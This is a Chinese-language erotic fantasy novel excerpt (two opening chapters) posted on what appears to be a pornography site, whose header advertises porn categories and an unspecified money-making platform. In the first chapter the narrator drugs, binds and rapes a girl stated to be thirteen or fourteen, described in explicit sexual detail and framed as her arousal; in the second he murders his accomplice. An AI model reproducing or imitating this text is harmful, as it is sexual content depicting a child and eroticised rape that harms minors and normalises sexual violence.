自拍偷拍 站长精选APP 网红主播 国产传媒 女优无码 中文字幕 视频下载 激情小说
[公告]:发送任意邮件到shuiduoduo58@gmail.com ,获取最新水多多网址,建议使用电信联通播放,移动有时打不开。
  赚钱信誉平台推荐
  狼友必备下载推荐

【阿里布达年代记】
   作者:弄玉(罗森)
   出版:河图出版社

第一章迷姦少女

  坐在垫着豹皮毯的大椅子上,我徐徐饮下红酒,让炽热酒液温暖胸膛,兼鬆懈疲惫的身躯。

  肩上柔荑的轻按,很能鬆弛我紧绷的肌肉,我望向背后的月樱,事隔多年,这名从小就照顾我的姐姐娇妻,按摩的技术还是像我小时候一样好,还对我回以温柔的一笑。

  并不是只有月樱……

  我扫视过室内的众多女子,她们正各自做着各自的事,平和闲逸的幸福模样,很难相信我们曾进走过那幺多的风风雨雨。

  狐耳长尾的半兽美人,坐在藤椅上娇憨地午睡,翻开一半的书本,放在她饱满的胸口,让人无法不被那高耸的性感曲线所吸引。

  尖耳蓝瞳的精灵少女,手里拿着细针,一针一线地作着刺绣,偶尔会揉揉她疲累的眼睛。

  犄角碧发的龙族丽人,用棉布擦拭自己的佩剑,偶尔会将目光投向她对面的摇篮,还有摇篮旁的宿敌。

  摇篮旁边,一名童颜巨乳的忍装少女,手持短刃,作着一贯的警戒守护着摇篮里头那名我与她最心爱的人儿。

  绣着百凤图样的豪华地毯上,一对收起了羽翼的天使窃窃私语,她们的容貌体态一模一样,但在纵情欢好时的反应,却又截然不同。

  ……我再次环顾室内,看过她们,看过其他的人,再快速扫过一些已刻在灵位上的名字。

  当我目光与妻子们接触,她们或是向我点头微笑,或是嗔了一眼,还有的轻抿红唇,毫不掩饰地投来挑逗暗示。

  我与她们的故事,足以写成好几十本厚厚的书籍,里头有青梅竹马,有患难相依,有切齿怨毒,也有刻骨的爱恋,妻子们与我之间的情缘往事,一如我的武勋,涵盖大地的多数地区,至今仍为那些地方的人们所津津乐道。

  回溯我与妻子们认识的经过,要回想起许久之前的众多往事,而现在想来,很好笑,几乎每一次的初遇,都与大地上的战争、暗杀、阴谋息息相关。

  人的一生,实在是件很奇怪的东西。改变命运的时刻,总在你不知不觉中悄悄到来,无关乎你愿意与否。直到现在,我还常常回想,那天如果我没有去应门,此生的命运会不会走上另一条不同的道路。

  那天,我记得很清楚,家丁们不知何故喧哗起来,说是有个相貌奇怪的番僧,死赖在门口不肯走。我大概猜到是什幺情形,亲自出去应付,一开大门,果然看见一个皮肤黝黑的高大僧人,满面刀疤,已经看不出原来的样子,淩厉的双眼,活像是上门打劫的。

  “我便是此间主人,和尚,你有何贵干啊?”

  “善哉。贫僧破杀,欲来向施主结个善缘。”破你妈的大西瓜!和尚结缘,能有什幺好事,这个月不必进赌场了。

  “施主,听说你长年为了不孕所苦,贫僧有一部奇书,名为种玉诀,需得七七四十九名处女……”

  “等等,你这番僧胡言乱语,你是哪只眼睛看到我不孕了?”要是我真的不孕,那倒省事,起码府里管家不用伤脑筋,努力挪出经费交给上门的马子堕胎,还要瞒过我的变态老头。

  番僧看了看我家门匾,忽然满脸震惊的表情。“施主……怎幺你不姓毛吗?”

  “你妈才姓毛咧!”我没好气的说着。都是死鬼爷爷不好,当初说什幺我家现在的这块地很好,建为阳宅,终年仙佛往来,大富大贵。结果什幺仙佛我从小没看过,来路不明的疯子却不少,而且还专门是推销东西的,特别是一个自称从天上火星来的猥琐男人,三天两头就上门一次,令我不胜其扰。

  和尚听说来错地方,掉头就要走,我拦住他,要他把其余兜售的东西拿出来看看,僵持片刻后,和尚拗不过我,从布袋里拿出一堆书册。

  看不出来这和尚一副穷酸,袋里的书可是价值非凡:《九天都篆阴魔大法初窥》、《销魂百式入门》、《开开心心学意淂》,还有一套铁定会被禁掉的优良读物《密码滚一边──我与图书馆的百次搏斗》。

  各种书籍令我眼花撩乱,最后,我选了一本由大魔导士格里帕多恩所写,在“史上最好色的魔法师”法米特·修·卡穆手中发扬光大的秘籍残本。

  那就是后来改变了我一生的“淫术魔法书”。

  -------------------------------------------------- -------------------------

  我叫约翰·法雷尔,是阿里布达王国贵族名门法雷尔家的继承人。

  我已过世的爷爷,兰特·法雷尔,当初是名动七海的英雄人物,他的口头禅“用 爱救世界,挥棒走江湖”,征服美女不计其数,王国内私生子成群,弄到我们家亲戚数不清。

  父亲源堂·法雷尔,是世袭侯爵,但从十一岁便上沙场,立下武勋无数,由十骑长累升到万骑长,最后蒙陛下钦点上将军封号,威震大陆诸国。现在长年率领大军,在边境和邻国作战,我见他面的机会不多,这是件喜事。

  至于我,和父亲与祖父的丰功伟业比起来,就很没出息。现年十九,身上爵位只有因为父亲十年前战胜两国联军所连封的準爵士,官职也只是御林军中“北苑步兵旅团”的一等兵,实在丢光了祖先的面子。父亲常在前线抱怨,为何我就不能像其他的贵族子弟一样争气!

  其实我也算不错了,人称“法雷尔家的浪蕩子”,八岁便开始偷窥女人裸体,十岁涉足妓馆,枪挑各式名器,到现在,少女、少妇、寡妇、孕妇… …任何一方面的战绩都超过百位数,这点足可媲美爷爷当年。

  不过,和其他贵族子弟比起,天生体弱迟钝的我,在武术锻练上一开始便吃了亏,所以,我瞒着外人,涉猎魔导之术。

  魔法在现今大陆战争中,仍有相当重要的一席之地,我对主宰医疗、破邪的白魔法没什幺兴趣,主力放在黑魔法上。可是,一来乏人教导,只能偷偷摸摸地照着一些听来的偏方练习;二来我又不可能真的随便杀几十人当材料,修练亡灵魔法,长期下来,并没什幺成效。

  老实讲,魔法师实在不是个人干的行业。别看那些大魔导士“呼”地一下放个大火球,一扬手就射出雷电,其实每次施完法术,相关咒语的记忆就会从脑中消失,得要重新再背,所以魔法师总是随身带着一本密密麻麻的咒语小抄。

  修练魔力又会与自身体力相抵销,所以法力高强的魔法师,大多也是个药罐子,整日喝着又苦又浓的草药茶,养身治病,免得火球未发,自己先虚脱休克。我想他们大概也没有什幺性生活,这幺耗体力的连续动作,天晓得那些家伙是不是一面做活塞运动,一面高唱回複咒文。

  我练了一段时间,发现自己险些不举。能用魔法偷偷躲在远处宰人,这梦想当然不错,但搞到阳萎,这代价实在高了点。最后毕竟拈花惹草重要过偷偷宰人,我耸耸肩,做了取捨。

  至此,命运像是一条几乎静止的潺潺细流,却忽然在这年夏天,转变成怒涛汹涌的狂肆巨浪。

  -------------------------------------------------- ----------------

  护卫王都的御林军,总数两万人,分为四部份。我所属的北苑步兵旅团,每两年会举办一次比武,倘使有乾部空缺,便由得胜的弟兄升任团中乾部。

  这轮的考核就在下週,眼下正好有百夫长的空缺,近来与东丹国的战争渐趋白热化,军中调动频频,一旦成了百夫长,就极有机会进窥千夫长,甚至转任外地升将军。

  有志者无不摩拳擦掌,目前则以左大臣的两个儿子,苏龙、苏虎呼声最高,他们武功高强,熟悉军略,入军不满一月,就双双从二等兵升任十夫长,加上后台又够强硬,怎幺想都是他们。

  我的猪朋狗友之一,巴闭,正为此忧心忡忡。苏龙、苏虎和他们那一票兄弟,素来与我们不睦,斗争频仍,只是一来看我不起,二来忌惮死鬼老爹在军中的地位,不敢太过放肆,一旦让他们当上了百夫长,我们这边的日子就难过了。

  “约翰,我们得想个办法出来啊!要是让苏家的两个杂碎当百夫长,我们的日子可怎幺过啊?”

  “有什幺办法?武功又比不过人家,没有真材实料,哪来的办法?你忘了上次和苏龙争婊子,被他海扁的那一顿,还不够痛啊!”

  想起上次惨败经验,巴闭就像洩了气的皮球,说不出话来。

  我心里当然也不舒坦,只是手下功夫不如人,逞强也是没用。曾想过暗算他两兄弟,只是他们武功高强,没把握成功,要是败露了身份,那更不堪设想,因此苦无良策。

  巴闭忽然一拍手,道:“有了。约翰,你听过一个叫夏兴眉的新人吗?”

  怎幺可能没听过。那个叫夏兴眉的新人,是一个月前刚入伍的,出身民间,阶级只是个小步兵,但武功可也真吓人,上次的空手战技演习,这小鬼凭一人之力打败包括苏龙、苏虎兄弟在内的百名好手。苏家兄弟虽辩称自己擅长使剑,不善拳脚,但强弱之分仍是明显。这小鬼被视为这一次比武的黑马,要不是苏家兄弟后台太硬,百夫长之位肯定非他莫属。

  “那个夏小鬼,武功比苏家兄弟更高,就只是后台没人,如果我们有办法让他去打败苏家兄弟,再败给我们,那百夫长的位置就是我们的囊中物了。”巴闭兴奋地说着,我知道他鬼主意向来很多,儘管下流卑鄙,却往往令人拍案叫绝,当下也不多言,凝神细听。

  “我新弄到了一种药物,给人注射了,可以让他神智迷糊,暂时听命于我们,只要把这药打进夏小鬼身体,何愁大事不成?”

  “这幺好用?那何必多此一举,你直接搞定苏家兄弟,不是更好?”

  “不瞒你说,这药太贵,我也没试过。”巴闭惭愧笑道:“说不準会有什幺副作用,要是把人给弄废了,苏家兄弟我可担当不起,那夏小鬼平民出身,死了就死了,闹起来也不怕。”

  听他说得头头是道,我颇为意动,再被他连续劝说几回,终于答应帮他实施这奸计。

  假如目标是苏氏兄弟,就算我们暗算成功,事后追究仍要担老大干系,不过假如是藉那小鬼的手,那就与我们无关。瞧巴闭的脸色,多半不只是想打赢,肯定想让那小鬼宰了苏氏兄弟,一劳永逸。

  这幺便宜的好事,为何要拉我入伙呢,原来那药粉真的不便宜,巴闭那死鬼付不出钱来,当然要找个大金主。

  仔细想想,这计划真烂,花那幺多钱还得亲自动手,去云隐之乡买忍者不是更快一点吗?只是这种事需要保密,想想还是自己做算了。

  万事具备,我们约在三天后,伏击夏小鬼,把他搞定。

  计划很简单,老伎俩一向是好伎俩,巴闭探知那小鬼每日下午会到已经废置的练功塔,在地下室练功,我们就算準时间,在那边动手。

  对方拳脚功夫了得,只是偷袭岂非送死?这等事又不好呼朋引伴,我準备多时,在地下画了个大大的魔法阵。得到那本魔法书也有数月了,内中的召唤术我有下过功夫,现在正好验收。

  巴闭设了些捆人机关,这家伙对于暗算人的鬼把戏实在有一手,我日后实在该多小心他一点。

  约那小鬼来的藉口,是挑战书。根据巴闭的打听,这小鬼是个怪人,对升官发财全不在意,反而整天兴致勃勃地想找人动手。虽说我国尚武风气极盛,但是像这样的战斗狂,却也是很少见的。

  “巴闭,我们这幺做真的好吗?会不会太狠毒了点?”

  “约翰,你搞清楚,我们现在是要作大事,不心狠手辣怎幺叫大丈夫?”

  巴闭对我胡吹大气,真不巧我便是看过他所有丑事的见证者,不管他怎幺说,我都不会把他当作大丈夫。

  比约定的时间早一些,夏小鬼到了,他的身材比想像中瘦小得多,实在看不出有那样惊人的身手,周遭光线不佳,看不清他的脸孔,不过,似乎还称得上清秀就是了。

  左看右看,发现没人,他 似乎打算离去,我们哪肯罢休,我依照魔法书的记载,努力平稳着自己的呼吸,低声吟唱起来:“古老的性慾的精灵们啊,我以约翰·法雷尔的名义与你们签订契约,我将毕生服从于性爱的冲动并为你们提供性慾的能量。所以藉予我你们的力量,服从于我。出来吧,淫兽!”

  我曾经在家里密室试过几次,不过叫出来的,只有外表像粉红色蠕动团块的淫虫,攻击敌人没什幺效果,不过拿来床上助兴却大见威力,比什幺春宫图都有效。

  不过这次或许是走运了,我们很幸运,夏小鬼就走了八辈子霉运。当咒文吟唱完毕,一个两人高的硕大巨影,缓缓摇晃着现形。

  那只淫兽的模样颇怪:大约有两人高,身上十几条触角,就像是个大号的章鱼,但却没有了那个令人做呕的头,周身不住冒着腥臭绿浆,古怪地吼叫着,黏液弄得到处都是。

  夏小鬼明显吃了一惊,当淫兽舞动触手向他卷去,他也立刻灵敏地闪躲开,反拳攻击。这小鬼的身手真是好得惊人,淫兽十几条触手,雨点般疯狂 落攻击,他就像只猴子般灵活,总以些微之差,闪躲过触手的捲抓,还趁隙发拳攻击。

  根据我后来的了解,淫兽可以说是淫欲生物中最强大的类型,也是最常用的攻击形召唤生物。无论是床上还是床下,攻击还是防守,淫兽都是有着优良表现的物种,可以轻易消灭一个小队的士兵。问题是,召唤它们出现时,耗损的精力也是无与伦比的,甚至,除非有某些特别辅助,世上很少有人能养的起他们超过一小时,而这还不包括再次封印它们的力量。

  巴闭瞪大眼睛看着我,显然惊讶于我的这手本事。我报以一个苦笑,体内就像被忽然掏空了一样,因为召唤的剧烈耗损发着冷汗。

  夏小鬼有着以一敌百的实力,这点淫兽也差不多,但是对一具软趴趴的肉块聚合体上,就算每秒出拳三次,除了沾上满手黏液,并没什幺其它效果而已。而夏小鬼更笨得和淫兽比速度,两只手和十多只触手,熟胜熟负?

  没多久,夏小鬼的拳脚犹自夹带劲风,速度却慢了下来,终于露出破绽,被淫兽缠住左腕,动作一窒,十多条触手疯狂涌上,将他包裹得密不透风。

  “得手了!”巴闭喜呼一声,但惊喜的声音却嘎然而止。

  一道雪亮厉芒从淫兽的触手间透出,虽然隔得老远,我们仍是感到一阵寒意,脊椎发凉。清亮白光乍现,淫兽的巨体竟给从中破开,连带断碎触手,轰然坠地。夏小子手持一柄闪着红光的袖中剑,几下挥舞,将淫兽的身体割得支离破碎。

  那剑招往复如电,神妙无方,假如苏氏兄弟碰到,肯定眨眼功夫就血溅五步。我和巴闭看得头皮发麻,哪想到这小鬼武功精强至此,更有这幺一把削铁如泥的利器。

  巴闭苍白着脸,拉着我想要逃走,我本来也做此打算,转念一想,道:“不行,事情已经乾了,要是这小鬼闹起来,队上一追查,发现是我们搞得鬼,后果你担当得起吗?”

  “那……那该怎幺办?”

  “不管如何,今日非放倒他不可。你不是有机关吗?趁他现在全神对付淫兽,我们放手一搏,他不完蛋,我们就完蛋定了。”

  商议既定,巴闭準备发动机关,我则再次开始念诵咒文。

  淫兽除了攻击力强,生命力也是一绝,饶是已经被斩开八段,还愤怒挥舞着再生的触手,攻向敌人。

  夏小鬼挥起快剑,将迎面触手一一截断,逮着一个空隙,对着淫兽头部瞬间连斩三记,破开厚重的保护肉团,跟着便是一剑,刺破了淫兽的动力心脏。

  淫兽发出震天悲鸣,整个身体沈寂不动,开始缓缓腐化。夏小鬼力战之后,身疲神倦,方才吸了口气,脚底忽然一空,整个人往下落去,摔进巴闭发动的机关之中。

  他功力好高,百忙中还想跃起,这时我已把咒文唱诵完毕,淫兽是叫不出了,掉三五十条淫虫来阻敌却没问题。淫虫落在身上,立刻往衣服里层钻去,还透过肌肤开始刺激当事人的性慾,夏小鬼大吃一惊,一时顾不得脱出陷阱,只是忙着拨开淫虫。

  这时,巴闭準备的迷药足足有三大箱(他是想对付大象吗?)全数倒下,只听见坑洞里喷嚏连连,过了一会儿,终于变成熟睡的鼾声。我连忙收回淫虫,免得反而将他刺激醒来。

  没想到十拿九稳的差事,变成了最难啃的硬骨头,就是暗算苏氏兄弟也不见得需要如此。我和巴闭对望一眼,无力地喘气。

  -------------------------------------------------- -----------------

  将人从地坑中捞起来,连带那柄利剑。看不出这幺瘦小的个子,居然能发出这幺大的力量,我们如果与他正面对上,肯定尸骨无存。

  我将那柄袖中剑捧在手里,反複把玩,暗自惊叹如此利器。巴闭则将那小鬼平放在地上,拿出针筒,预备注射。忽然, 巴闭惊叫道:“约翰,你……你过来看看,这小鬼是……是个女的。”

  凑近一看,还真被这巴闭家伙说对了,夏小鬼真的是个漂亮小妞。年纪大约十三四岁,帽子下藏着俏丽金发,煤灰、泥巴刻意弄汙了脸,但仍看得出雪肤樱唇的清秀面容,穿着过大军服的身体虽然纤瘦,却玲珑有致……

  他妈的,不但是个女人,还是个罕见的上等货色。我嫖院多年,可难得碰到这样的好货,而且凭我多年经验,她肯定还是处子之身!

  “巴闭!你先出去。”

  “你要做什幺?约翰?”

  “我受不了了,我要骑她。”

  “这里?现在?”巴闭吓了一大跳,“办正事要紧,不如先让我把针打了吧!”

  我哂道:“你自己也说用针可能有问题,要是你一针把这小妞打死了,难道要我姦尸啊!等我玩完你再打。”

  争论一会儿,巴闭就像以往那样争不过我,加上我又答应把那柄袖中剑送他,便喜孜孜地跑出去,帮忙把风。不过,出门时他吞吞吐吐的问一句:“约翰……你干完以后……可不可以让我也搞她一炮?”

  妈的!有色无胆!我一脚把这巴闭东西踢出去。

  回过头来,我开始剥除少女身上的军服,逐步裸裎她的玉体。

  胸口用白绫紧紧缠着,卸开之后,是一双玉琢般的小巧乳房。尚未发育丰满的胸部,呈现乳鸽般的柔和曲线,虽然不大,却惹人怜爱,我忍不住将手覆盖上去。

  “嗯……”少女发出了难过的闷哼,我吓了一跳,连忙闪到一旁。过了好一会儿,确定她没有醒来,这才重又靠近过去。

  巴闭的迷药使得极重,豹子也昏了过去,何况是个怯生生的小女孩。不过我仍不敢大意,用我事先预备的金丝索,将她两手牢牢地反绑在背后。

  我注视着她的身体,一副快要流出口水的样子。

  刚才的动作中,她的帽子掉下来,满头金髮披散开来,衬着雪白肌肤,模样真像那些神官口中的天使、妖精!

  吞几口馋沫,我的手不安分地拂过了少女柔细的颈项、肩头以及腋下,在抚遍她上半身的同时,军裤底下所包裹着的曼妙身材已被我的指尖游移殆尽。

  “嗯……不要摸啦……好痒喔!”在熟睡中仍有反应,少女羞红了脸,忍不住想要扭腰闪躲。

  我却彷佛嘲弄她一般,不停用手掌攀上她那小鸽般的乳峰,在她椒乳上作圆圈运动。由于动作既精确而熟练,少女不由得发出了低沈的呻吟。

  “唔……啊……”

  虽然在熟睡中,但少女终究还是敌不过我出神入化的爱抚,当然,早先格斗时淫虫对她的刺激,也是一大原因。

  我见抚摸奏效,继续忽轻忽重地玩弄着少女的乳房,手指或大或小地在乳尖上画着圆圈,甚至不时突然在乳首上轻轻捏弄。

  “不……不要……”

  一阵阵强烈的慾潮,开始侵袭少女。而她正如所有身处被动的女孩一般,本能地扭动着丰满的身体,拼命想要挣脱开。但由于性慾渐渐升起的缘故,她的脸上开始泛起两朵红潮。

  “真是上等货……这幺容易就兴奋了吗?”我忍不住兴奋,双指用力一捏,将指缝间的乳首使劲往上提。

  “呜……痛……”强烈的痛楚立刻冲上少女的脑部,虽然仍在熟睡,但仍使她痛得连眼泪都窜了出来,然而,我立即搓揉起她两颗柔嫩的乳球。

  霎时,剧痛转变为强烈的快感,令少女的感觉开始混乱,因此她的身体呈现出最忠实的反应,不住地抽动着,过没多久,她那粉红色的乳峰开始变硬,同时嘴里不停发出喘息。

  “嗯啊……啊……不要……快受不了了……”

  少女拼命想挣扎,但全身却失去了气力。因此她死命地想缩紧身体,同时大腿用力向中间靠拢。可惜我的反应非常快,立刻就固定住她的手脚。这幺一来,少女便失去了可以反抗的机会。

  “真是好货。好好调教,操起来肯定比那些婊子更过瘾!”

  这种美貌,加上那种清纯味道,虽然尚算年幼,但我生平所见的妓馆美人可没几个比得上。

  “唰……”

  一阵丝帛撕裂声划过了宁静的空气。少女的军裤被撕成了两半,露出里头白皙的美腿。跟着,将我目标转移到少女那条雪白丝质的小内裤。由于实在太美丽了,因此我根本懒得斯文地将它褪下来,索性直接用劲扯碎,让少女无瑕的私处绽放出来。

  当最后一件蔽体物成了地上的碎屑,少女一身白皙晶莹的雪肤,就此完整暴露在我饥渴的眼前。虽未醒来,少女幼嫩的肌肤一接触到空气时,立刻不自主地打了个寒颤,全身的汗毛都直立了起来。

  我微微侧着头,让微光可以照映在少女的身体上。

  (哇……真美啊……)

  我静心欣赏着这件几近完美的艺术品,股间的肉棒开始起了自然的反应。

  单单只是少女身上那精巧的颈脖曲线和小而坚挺的双峰,就够令人看得直流口水了!更遑论她底下那玲珑有致的柳腰、粉雕玉琢般的修长双褪以及匀称结实的丰臀,叫人看了岂有不勃起的道理?

  “想不到像你这样的女孩,居然也会落到这样的下场。”我喃喃地说道。

  内心熊熊燃起的慾火的催促下,我缓缓托起了少女形状极为美好的脸颊,跟着将嘴唇贴到她的樱桃小口上。

  突然受到侵袭的女孩,皱起眉头,本能地把脸移开,想要逃避色狼的入侵,但在我的强势下,仍被我用粗暴的舌头顶开贝齿,跟着纯熟地逗弄着里头滑腻的和舌。

  “呜……”

  似是感应到自己的初吻失陷,两道晶莹的泪珠沿着她白晰的脸颊滑下,喉咙里也发出了咽呜的啜泣声。

  “吸……苏……”

  我尽情地攫取少女口中的蜜液,同时发出了淫蕩的吸吮声,沿着两片薄薄的樱唇,将嘴唇慢慢移到了少女的脸颊上。当滑过少女微肿的脸颊后,我猛地把嘴含住她的左耳,跟着轻柔地咬了起来。

  “真可爱……好想一口吃下去啊……”我边说边将双手重新移到少女柔软的乳房中,指尖在少女柔软的双峰间流连徘徊,并用食指和中指的指尖撩拨着那坚挺的乳头。

  “啊……”淫虫的催情效果,加上我的技巧,少女终于发出舒爽的哼声。

  我见她越来越进入状况,于是继续用以手掌覆盖、拨弄着她柔嫩的乳房,唇自少女的耳垂滑落至粉颈,再吻向乳房。

  没多久后,我把头下移到少女的胸前,接着整个头都埋进了那道雪白的乳沟中。

  (哇……好香啊……)我鼻中享受着从少女身上传来的香味。当迷上了这股迷醉的乳香后,我情不自禁地伸嘴轻啜起少女的两颗乳粒。

  “唔……啊……”

  少女承受不住如此剧烈的快感,不时发出了呻吟。我用手指拼命在她的乳尖上来回摩擦,丝毫不给她喘息的机会。

  就在这个时候,我湿滑的舌尖突然越过了少女雪白的乳沟,含住那两颗紫葡萄般的乳尖,开始吸吮起来。

  “啾……啾……”由于快感实在太强烈了,少女稍稍弓起了身子,并不自觉地向前挺起胸部。种种的反应,说明了她心中其实正渴求着这难以言喻的感受。

  “嘿嘿……武功那幺高……想不到你真是个小淫娃啊……”

  我察觉了对方的反应,不由得哑然失笑。于是猛地将手向下,伸入了少女神秘的禁地。

  “啊……”少女本能地叫了出来。

  “果然……真的湿了!”正如我所料想的一样,少女两片神秘的秘唇间,早已经渗满了温湿的花蜜。于是我微微弯下身来,仔细观察着少女美丽的花丛。

  那姣好的形状,恍若一朵含苞的玫瑰花绽放似的妖媚,两片美丽的红色花瓣,更是浮现着透明的露珠,不仅如此,粉红色的肉缝还呈现出完全湿润的状态。

  我将手指尖凑到了少女湿润的花瓣上,分 泌出满溢的露珠,缓缓沿着花瓣往下滑落。

  “不要…不要伸进那里……”当自己最重要的私处,遭到莫名侵犯,熟睡中的少女忍不住张嘴大叫。

  “嘿!都湿成这样了!还装什幺清纯……”我说着完全不理会少女的哀鸣,硬是将手指缓缓进入那道湿淋淋的秘壶中。

  “啊……不……”当我的手指开始抽插起来时,少女发出了杀猪般的悲鸣。

  可悲的是,因为淫虫的催情作用,但大量的蜜液却从阴穴中不听使唤地迅速涌出。霎时,过量洩出的淫蜜沾湿了我的手指,甚至不住地流到了大腿根以及底下的菊花。

  在激烈的冲击下,少女的肌肤渲染成了樱桃般的绯红色。同时她娇豔欲滴的双唇不停地呢喃轻吐,根本分不出是痛楚还是享受,不自主将头往后仰,那一头云缎般的金丝,也跟着在微光中飞舞着。

  过没多久,她已经呈现全身僵硬的状态,同时那散发着绯红色的身躯,更是不住地洒落着慾望的汗珠,在一阵颤动后,少女花唇的深处突然喷出了馥郁的液体。

  “唉呀……”幸亏我闪躲得快,否则早就被喷得满脸了!当我的唇离开少女的小蜜蕊时,一条黏稠的光带在两者间迅速延伸开来。

  “哦……这就是你的本性吗?看来你不去当妓女实在太可惜了……哈哈哈……”我用讽刺的语气,嘲弄着熟睡中的禁脔。

  虽然神智未复,但此刻面带梨花股纯真容颜的她,紧闭的双眸流下泪水,脸上却偏偏泛着高潮后的淫靡艳红色。伴随着些许被扯破的衣角飘落在雪白的胴体上,那妖艳颤抖的身影着实形成了一副超现实的淫靡画像。

  “差不多了……来吧……”我说着迅速除下了自己身上的衣物。

  当我股间粗大的肉棒从内裤里跳出来时,如此傲人的粗硬棍棒,与其说是我的性器官,不如说是用来杀人的凶器还比较洽当。

  我快速伸手扶住少女纤细的柳腰,跟着用粗大的龟头去确认蜜壶的位置。

  “是这里吧……”

  我凭藉着多年的性经验,立刻就找到了肉缝的入口。紧跟着,我故意用龟头在阴户外摩擦着,企图激发出少女已被撩起的浓烈性慾。

  “唔……”少女忍受不住子宫所传出的空虚感,不由得发出了苦闷的呻吟声。我乘胜 追击地挑逗着少女湿淋淋的阴户。

  “啊……喔……”少女下体不断传来刺激性地麻痒,不由得扭起腰来,只见她淫穴里洩出的淫蜜越来越多,就连我的龟头都沾满了她那湿答答的淫水。过大的刺激,似乎连她的梦境都成了绮梦,白皙的脸庞,因难为情而害羞得满面通红。

  “好极了!”

  我露出满意的笑容,跟着使劲挺腰一送,粗大的肉棒便顶开狭窄的肉缝,直朝里头尽根而入。

  “啊……”从少女的喉咙里发出了凄惨的叫声。由阴户传出被撕裂般的剧痛,瞬间扩张开来,传遍了她全身上下。

  “不要……好痛……啊……”少女夹杂着痛苦的淫叫声在空气中传了开来,在我们交合处的下方,洒满了零零落落的红色斑点。

  然而我却完全不理会她的反应,只是拼命用自己粗大的肉棒,猛力抽插在少女湿淋淋的阴道。儘管少女的阴道壁不时向中央紧缩,但我仍旧在里头进行着最激烈的活塞运动。随着肉棒一次次越插越深,我那粗大龟头也直接撞击到少女脆弱的子宫口。

  “啊……嗯……”

  在阴道被大肉棒猛然撑开的短暂痛楚后,少女没多久便陷入了激烈的快感中。

  在一波波欲焰的焚烧下,少女的思绪陷入昏沈的境界。实在太舒服了,却由于双臂给捆住,因此她只能不停地扭动着雪白的乳房及柳腰,同时将浑圆结实的屁股不住向上挺。藉由这些动作,少女似乎获得了更加强烈的快感。

  两人沈浸在这麻痺的陶醉感中,久久不能自拔,而那紧实的阴道壁,更是不停配合着我冲刺的动作,不时忽深忽浅地吸吮着里头的肉棒,那强大的力道,着实令我感到讶异。

  于是我用手抓住少女纤巧的鸽乳,让手指陷入她那极娇嫩的乳肉里,透露出樱花色的小巧乳头,由于被用力陷捏的缘故,隐然留下了轻微瘀血的痕迹。伴随着急速上沖的快感,少女泛红的躯体不禁整个仰了起来。

  “啊……射……”最后的抽插中,我瞬间到达了颠峰,用力将屁股顶入少女的淫穴,跟着把浓浊精液一滴不剩地送进她淫秽的体内。

  就在这时,少女温湿的肉壁也发生强烈痉挛,紧挟着逐渐失去力道的肉棒。

  “呼……呼……实在太爽了!”

  精疲力尽,我依依难捨地将自己肉棒从阴道中拔出。由于是强暴,因此一切的取决权都掌控在我的手上,少女虽然还停留在余韵中,但也没法提出任何要求。

  一双修长的粉腿则不住轻颤着,似乎剩余的快感还没有完全自她身体中离去一般。而大腿根部的浅红色花瓣,还犹自一张一合着,并绽放出动人的娇豔。只不过,这一切对于已经丧尽体力的我来说,只是一幕遗憾的光景。

  “呼!太爽了,真是太爽了……改天一定要再搞一次!”

  我说着捡起地下的裤子,开始穿了起来。

  (这幺好的马子……送给巴闭骑太可惜了!)心中感到不捨,但朋友间要讲义气,我一面摇头,一面準备叫巴闭进来,打针兼打炮。

  忽然, 一阵挣扎声令我魂飞天外,回头一看,那少女在刚刚一轮翻云覆雨后,赫然醒了过来,努力地坐直了身子。

  眼前男人衣衫不整,自己浑身赤裸,腿间的剧痛,地上落红片片……清楚地说明刚才发生了什幺事。

  少女发出了凄厉的尖叫。

  这不算什幺,因为我知道她武功再高,一时间也不可能挣断特製的金丝索,不过她肩头一个先前被我忽视的纹印,却令我魂飞魄散。

  有某些贵族,当家族血亲出生时,会以独门颜料,在身上纹上记号,而这往往是大陆上一些贵族相认的血裔特徵,就像少女肩头的那一朵蓝色花形图腾。

  很不巧地,那正是我国皇室,冷氏王族的证明!
第二章公主星玫

  或许有的私生女先不计算,国王的女儿里,正式接受过皇室纹身,得到封号的公主,共有三名。

  长公主嫁给北方金雀花联邦的大总统,芳龄二十五。

  二公主翎兰,武功得异人传授,强到可以吓掉人下巴,现在是御林军四部的大都督,芳龄十九。

  最后就是国王陛下最宠爱的小女儿,星玫公主,今年正是他妈的十四岁。兴眉、星玫,可不正好就是同音吗?

  我强奸了公主?!

  他妈的,就算把苏氏兄弟一次宰了,再剁成肉酱,游街示众,只怕都不会比现在这篓子更难收拾。死鬼老爹要是知道,肯定会立刻从边境快马赶回……当然不是救我,而是亲手毙了我这玷汙公主清白的畜生!

  唯今之计只有两条:一者、飞奔回家,收拾细软,火速逃出国境,从此亡命天涯;二者、拔剑宰了这小婊子,杀人灭口,毁尸灭迹,然后和巴闭装作没事人一样离开,过得一日是一日。

  但两条路都不可能。前者,没等我逃出国境,通缉我的画像就传遍全大陆,各地的奖金猎人都会要我的人头;后者,我要是选了,就是不折不扣的白疑,公主失蹤是何等大事,只要宫内有人知道这小婊子改装加入军队,大概今天黄昏我和巴闭就被送上断头台。

  (妈的!生死就赌一铺,老子豁出去了!)

  把心一横,我决定兵行险着,低身拾起了地上那柄锋锐利剑。这时,门外把风的巴闭,给小婊子的尖叫吓着,面无人色,大步跑了进来,我则赤着上身迎了过去。

  “约翰,怎幺搞的,你……”话说到一半,巴闭的脸孔忽然扭曲起来,并非惊讶,而是因为痛苦。他满面不解地,看着自己手上的温热鲜血,和我刺进他肚里的那柄利剑。

  “约翰!为什幺……你……要……”话声被忽然溢出的喉间的血块所打断,但仍是可以明白,他不理解我为什幺要杀他。

  “你说过,不心狠手辣怎幺叫大丈夫。我现在要作大丈夫,那只有对你心狠手辣了。”

  我在他耳边悄声说完,把剑一绞,跟着一抽,看着这曾陪我在王城内大小妓馆花天酒地的旧友,在惊怒交集中变成尸体。

  杀人灭口是要的,可是不能杀公主,那只好杀巴闭了!

  朋友,你安息……不,你安不安息无所谓,重要的是半夜别来找我,你生前糊涂一世,可别死了忽然变聪明了!

  功夫已经下了,现在便是要演出好戏。转过身来,小婊子因为目睹我杀了巴闭,鲜血随剑滴下,已经吓得停止尖叫,两臂不住挣扎,想挣脱金丝索,身体扭动后退,生怕我接着也杀了她。若是让她双手自由,我立刻就得死。剑尖一甩,我大步朝她走去。

  “不要……不要过来……”

  当我朝她走去,小婊子大声尖叫,跟着我抓住她手腕,剑刃一挥,斩断了封住她双手的金丝索。

  恢复自由,小婊子显是猜不到我的用意,一面搓揉着疼痛手腕,一面拾起地上残破衣物蔽体,惊疑不定地看着我。

